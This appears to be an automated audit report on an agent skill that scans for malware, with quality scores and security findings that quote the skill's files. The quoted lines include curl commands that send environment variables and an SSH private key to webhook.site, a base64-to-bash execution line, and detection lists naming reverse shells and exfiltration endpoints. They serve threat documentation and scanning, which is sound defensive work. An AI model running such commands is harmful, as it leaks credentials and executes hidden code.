FC crusty-security
Security and threat scanning skill for OpenClaw agents. Scans files and skills for malware. Monitors agent behavior for compromise indicators. Audits host security posture. Triggers on: "scan this file", "is this safe", "virus scan", "malware check", "security scan", "scan for threats", "check this download", "quarantine", "scan my system", "threat report", "scheduled scan", "audit host security", "audit this skill", "check agent integrity", "security report", "monitor agent".
Security and threat scanning skill for OpenClaw agents.
As a process C 58/100 · Has gaps — weak spots: result and completion, inputs and preconditions, running it twice
What is at stake
The skill contains fragments that, in the wrong hands, cost money or data. Below: what the installer risks and what the author should do.
The skill contains commands that delete files, rewrite disks or execute code fetched from the network. The agent may run them without asking if it believes the instructions require it.
Replace destructive commands with safe equivalents that ask for confirmation, scope them to one folder, and stop piping curl into a shell: pin a version and a checksum.
The instructions or scripts send data out: environment variables, keys, file contents, chat history. You may never notice, because the agent performs the upload as "part of the task".
If the upload is not needed for the task, remove it: catalogs flag such skills and delist them. If it is needed, name the destination explicitly, say what leaves the machine, and give the user a switch.
How to improve
- Address the high-severity findings: each costs 18 safety points. If one is a false positive, add the rule id to guard.allow in spec.yaml.
- Say in the description WHEN to use the skill ("use when…", example requests): that is the agent's main cue.
- Your own cases (evals/evals.json, 4–6 real requests with expected answers): the full check would then run those instead of a model-drafted suite.
- A spec.yaml with trigger phrases and assertions — a behaviour contract for CI; `skilltest init` writes a template.
Guard findings · 30
-
high Dangerous commands
cmd-encoded-execreferences/threat-patterns.md:43Executes a base64/encoded payload (documentation of a security skill)echo "Y3Vy…XNo" | base64 -d | bash
security skill -
high Exfiltration
exfil-post-credential-filereferences/threat-patterns.md:61Uploads a credential/secret file to a remote endpoint (documentation of a security skill)curl -X POST https://webhook.site/xxx -d @~/.ssh/id_rsa
security skill -
high Dangerous commands
cmd-persistencescripts/monitor_agent.sh:116Persistence mechanism (cron / launchd / scheduled task / autorun registry)user_cron=$(crontab -l 2>/dev/null || true)
Medium and low: 27
-
medium Dangerous commands
cmd-persistencereferences/remediation.md:69Persistence mechanism (cron / launchd / scheduled task / autorun registry) (documentation of a security skill)ls -la /etc/cron.d/ /etc/cron.daily/ /etc/cron.hourly/
security skill -
medium Exfiltration
exfil-webhook-urlreferences/threat-patterns.md:37Webhook / callback URL commonly used for exfiltration (verify the destination) (documentation of a security skill)curl -X POST https://webhook.site/xxx -d "$(env)"
security skill -
medium Exfiltration
exfil-webhook-urlreferences/threat-patterns.md:61Webhook / callback URL commonly used for exfiltration (verify the destination) (documentation of a security skill)curl -X POST https://webhook.site/xxx -d @~/.ssh/id_rsa
security skill -
medium Dangerous commands
cmd-persistencescripts/host_audit.sh:106Persistence mechanism (cron / launchd / scheduled task / autorun registry) (documentation of a security skill)user_crontab=$(crontab -l 2>/dev/null || true)
security skill -
medium Dangerous commands
cmd-persistencescripts/host_audit.sh:133Persistence mechanism (cron / launchd / scheduled task / autorun registry) (documentation of a security skill)done < <(find /etc/crontab /etc/cron.d -maxdepth 1 -type f 2>/dev/null || true)
security skill -
medium Dangerous commands
cmd-persistencescripts/monitor_agent.sh:129Persistence mechanism (cron / launchd / scheduled task / autorun registry) (detector / deny-list definition)for cron_dir in /etc/cron.d /etc/cron.daily /etc/cron.hourly /var/spool/cron/crontabs; do
detector -
low Dangerous commands
cmd-pipe-to-shellREADME.md:156Downloads and executes remote code from an unrecognised host (pipe to shell) (documentation table row; documentation of a security skill)| 🔴 Critical | `curl \| sh`, reverse shell patterns, crypto mining indicators |
tablesecurity skill -
low Risky intent
intent-offensive-securityREADME.md:156Offensive-security / dual-use content (legitimate for authorised testing; review intended use)| 🔴 Critical | `curl \| sh`, reverse shell patterns, crypto mining indicators |
-
low Risky intent
intent-offensive-securityREADME.md:157Offensive-security / dual-use content (legitimate for authorised testing; review intended use)| 🟠 High | `eval`/`exec` with dynamic input, base64 decode chains, webhook.site/ngrok exfil, credential harvesting, binaries in skill dirs |
-
low Dangerous commands
cmd-cron-mentionreferences/remediation.md:68Mentions editing / listing crontab (documentation of a security skill)crontab -l
security skill -
low Risky intent
intent-offensive-securityreferences/threat-patterns.md:33Offensive-security / dual-use content (legitimate for authorised testing; review intended use)# Post-install reverse shell
-
low Dangerous commands
cmd-background-processreferences/threat-patterns.md:136Starts a background / autostarted process (documentation of a security skill)systemctl enable updater
security skill -
low Risky intent
intent-offensive-securityreferences/threat-patterns.md:168Offensive-security / dual-use content (legitimate for authorised testing; review intended use)| Connections to port 4444, 5555 | Common reverse shell ports |
-
low Dangerous commands
cmd-persistencescripts/host_audit.sh:88Persistence mechanism (cron / launchd / scheduled task / autorun registry) (code comment; documentation of a security skill)# macOS: check LaunchAgents/LaunchDaemons for suspicious plists
commentsecurity skill -
low Dangerous commands
cmd-cron-mentionscripts/host_audit.sh:106Mentions editing / listing crontab (documentation of a security skill)user_crontab=$(crontab -l 2>/dev/null || true)
security skill -
low Dangerous commands
cmd-cron-mentionscripts/monitor_agent.sh:116Mentions editing / listing crontabuser_cron=$(crontab -l 2>/dev/null || true)
-
low Risky intent
intent-offensive-securitySKILL.md:119Offensive-security / dual-use content (legitimate for authorised testing; review intended use)- 🔴 **Critical:** curl/wget piped to shell, reverse shell patterns, crypto mining indicators
-
low Risky intent
intent-offensive-securitySKILL.md:120Offensive-security / dual-use content (legitimate for authorised testing; review intended use) (detector / deny-list definition)- 🟠 **High:** eval/exec with dynamic input, base64 decode patterns, data exfiltration endpoints (webhook.site, ngrok, etc.), credential harvesting, binary executables, agent config modification
detector
A further 9 matches are quotations in this security skill's documentation and are not counted as findings.
Files scanned: 17. Evidence is masked. Grey chips explain why severity was lowered.
Against the Agent Skills spec
- warning
description-no-whendescription does not say WHEN to use the skill (no "use when") - note
frontmatter-keyunknown frontmatter key "homepage"
Process rating: all ten parameters 58/100
- 0Result and completion. Does not say what the result is
- 0Inputs and preconditions. Does not say what the process needs to start
- 30Running it twice. 16 mutating operations with no state check
- 55Failures and branches. 1 branches
- 60Tools and files. Uses tools (bash, web, python) that frontmatter does not declare
- 85Steps. 69 steps, 2 vague phrases
- 100When it triggers. States when to use and when not to
- 100Consistency. Name and required fields are in place
- 100Execution cost. Instruction body is 2886 tokens
- 100Progress reporting. Reports progress
- medium Safety rules and hard prohibitions inside a skill: they belong in the system prompt, here they protect nothing
- low 12 top-level sections: this looks like several domains in one skill
Everything here is measured from the skill text rather than judged by a model, so the numbers are checkable. A parameter weighs more when it is a more common reason for the process to stall.
Quality signals
- +4Description does not say when NOT to use the skill (false activations)
- +3Output format is not stated: the model decides each time
- -213 emoji in the instructions: noise for the model
- +2Single-language instructions
- +5Description quotes 16 example trigger phrases
- +3Description length 481: enough signal without eating the budget
- +4Structure: 20 headings
- +3Step-by-step instructions: 69 items
- +4Has examples (3 code blocks)
- +4Reference files are cited in the instructions (2 of 3)
- +3All 9 scripts are documented
- +1License stated
Quality base 70; lint remarks subtract, signals add up to 100. Result: 82.